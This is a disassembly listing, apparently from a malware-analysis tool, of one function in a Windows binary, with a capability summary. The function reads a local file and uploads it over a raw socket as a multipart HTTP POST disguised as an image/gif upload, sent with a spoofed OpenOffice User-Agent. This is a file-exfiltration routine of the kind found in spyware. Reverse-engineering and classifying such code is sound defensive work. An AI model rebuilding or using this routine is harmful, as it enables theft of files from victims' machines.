Function at 0x10003608
Capabilities:
Get file size
Read and send data from client to server
Read file on windows
Receive data
Receive data on socket
Send data
Send data on socket
Send http request
Send http request with host header

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x31f8
call fcn.10005b30
push ebx
push esi
push edi
push 0x40
xor ebx, ebx
pop ecx
and byte [ebp - 0x154], bl
xor eax, eax
lea edi, [ebp - 0x153]
and byte [ebp - 0x35c], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0x40
xor eax, eax
pop ecx
lea edi, [ebp - 0x35b]
rep stosd dword es:[edi], eax
and byte [ebp - 0x20], bl
and byte [ebp - 0x4e4], bl
stosw word es:[edi], ax
stosb byte es:[edi], al
xor eax, eax
lea edi, [ebp - 0x1f]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0x40
xor eax, eax
pop ecx
lea edi, [ebp - 0x4e3]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0x21
mov esi, str.___________________________78324hasy7fa3d_r_nContent_Disposition:_form_data__name_file1___filename__s__r_nContent_Type:_image_gif_r_n_r_n
pop ecx
lea edi, [ebp - 0x3e0]
rep movsd dword es:[edi], dword [esi]
push 0xb
mov esi, str._r_n___________________________78324hasy7fa3d__
pop ecx
lea edi, [ebp - 0x50]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
push 0x44
mov esi, str.POST__s_HTTP_1.1_r_nAccept:_text_plain____r_nAccept_Language:_zh_cn_r_nReferer:__s_r_nHost:__s_r_nContent_Type:multipart_form_data__boundary_________________________78324hasy7fa3d_r_nUser_Agent:_Mozilla_4.0__compatible__OpenOffice.org__r_nContent_Length:__d_r_nConnection:_Keep_Alive_r_n_r_n
pop ecx
lea edi, [ebp - 0x5f8]
rep movsd dword es:[edi], dword [esi]
lea eax, [ebp - 8]
mov dword [ebp - 8], ebx
push eax
lea eax, [ebp - 0x154]
push eax
lea eax, [ebp - 0x4e4]
movsw word es:[edi], word [esi]
push eax
push dword [ebp + 8]
movsb byte es:[edi], byte [esi]
call fcn.10003240
add esp, 0x10
cmp dword [ebp - 8], 0x50
je 0x100036fa
lea eax, [ebp - 0x154]
push 0x100081fc
push eax
call dword [sym.imp.MSVCRT.dll_strstr]
mov esi, eax
mov al, byte [esi]
and byte [esi], bl
mov byte [ebp + 0xb], al
lea eax, [ebp - 0x154]
push eax
lea eax, [ebp - 0x35c]
push eax
call sub.MSVCRT.dll_strcpy
mov al, byte [ebp + 0xb]
add esp, 0x10
mov byte [esi], al
jmp 0x1000370f
lea eax, [ebp - 0x154]
push eax
lea eax, [ebp - 0x35c]
push eax
call sub.MSVCRT.dll_strcpy
pop ecx
pop ecx
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x35c]
push eax
call fcn.100032f6
push dword [ebp - 8]
lea eax, [ebp - 0x20]
push eax
call fcn.10003341
add esp, 0x10
cmp eax, 0xffffffff
mov dword [ebp - 0xc], eax
je 0x1000376e
and byte [ebp - 0x258], 0
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x257]
push ebx
rep stosd dword es:[edi], eax
push ebx
push 3
push ebx
push ebx
stosw word es:[edi], ax
push closesocket
mov dword [ebp - 4], ebx
push dword [ebp + 0xc]
mov dword [ebp - 0x10], ebx
stosb byte es:[edi], al
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x10003775
xor eax, eax
jmp 0x10003932
lea eax, [ebp - 4]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
cmp eax, 0x400
mov dword [ebp - 4], eax
jbe 0x10003927
cmp eax, 0x7a120
ja 0x10003927
push eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
push dword [ebp - 4]
mov dword [ebp + 8], eax
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0x10
lea eax, [ebp - 0x10]
push ebx
push eax
push dword [ebp - 4]
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
and byte [ebp - 0x9f8], 0
mov ecx, 0xff
xor eax, eax
lea edi, [ebp - 0x9f7]
rep stosd dword es:[edi], eax
push dword [ebp + 0xc]
stosw word es:[edi], ax
stosb byte es:[edi], al
call fcn.10004a9c
mov esi, dword [sym.imp.MSVCRT.dll_sprintf]
push eax
lea eax, [ebp - 0x3e0]
push eax
lea eax, [ebp - 0x258]
push eax
call esi
lea eax, [ebp - 0x258]
push eax
call sub.MSVCRT.dll_strlen
mov edi, eax
lea eax, [ebp - 0x50]
push eax
call sub.MSVCRT.dll_strlen
mov ecx, dword [ebp - 4]
add ecx, edi
add eax, ecx
push eax
lea eax, [ebp - 0x154]
push eax
lea eax, [ebp - 0x4e4]
push dword [ebp + 0x10]
push eax
lea eax, [ebp - 0x5f8]
push eax
lea eax, [ebp - 0x9f8]
push eax
call esi
lea eax, [ebp - 0x258]
push eax
lea eax, [ebp - 0x9f8]
push eax
call sub.MSVCRT.dll_strcat
lea eax, [ebp - 0x9f8]
push eax
call sub.MSVCRT.dll_strlen
mov edi, eax
lea eax, [ebp - 0x50]
push eax
call sub.MSVCRT.dll_strlen
add esp, 0x40
mov ebx, eax
mov esi, 0x10008a5c
add ebx, edi
add ebx, dword [ebp - 4]
push 0x86470
push 0
push esi
call sub.MSVCRT.dll_memset
lea eax, [ebp - 0x9f8]
push edi
push eax
push esi
call sub.MSVCRT.dll_memcpy
push dword [ebp - 4]
push dword [ebp + 8]
lea eax, [edi + 0x10008a5c]
push eax
call sub.MSVCRT.dll_memcpy
lea eax, [ebp - 0x50]
push eax
call sub.MSVCRT.dll_strlen
push eax
lea eax, [ebp - 0x50]
push eax
mov eax, dword [ebp - 4]
lea eax, [edi + eax + 0x10008a5c]
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0x34
push 0
push ebx
push esi
push dword [ebp - 0xc]
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
jne 0x100038dd
xor ebx, ebx
jmp 0x10003927
and byte [ebp - 0x31f8], 0
mov ecx, 0x9ff
xor eax, eax
lea edi, [ebp - 0x31f7]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
xor ebx, ebx
stosb byte es:[edi], al
push ebx
lea eax, [ebp - 0x31f8]
push 0x2800
push eax
push dword [ebp - 0xc]
call dword [sym.imp.WS2_32.dll_recv]
push dword [ebp + 8]
cmp eax, 0xffffffff
jne 0x1000391e
call fcn.10005aba
pop ecx
jmp 0x10003927
call fcn.10005aba
pop ecx
push 1
pop ebx
push dword [ebp - 0xc]
call dword [sym.imp.WS2_32.dll_closesocket]
mov eax, ebx
pop edi
pop esi
pop ebx
leave
ret 0xc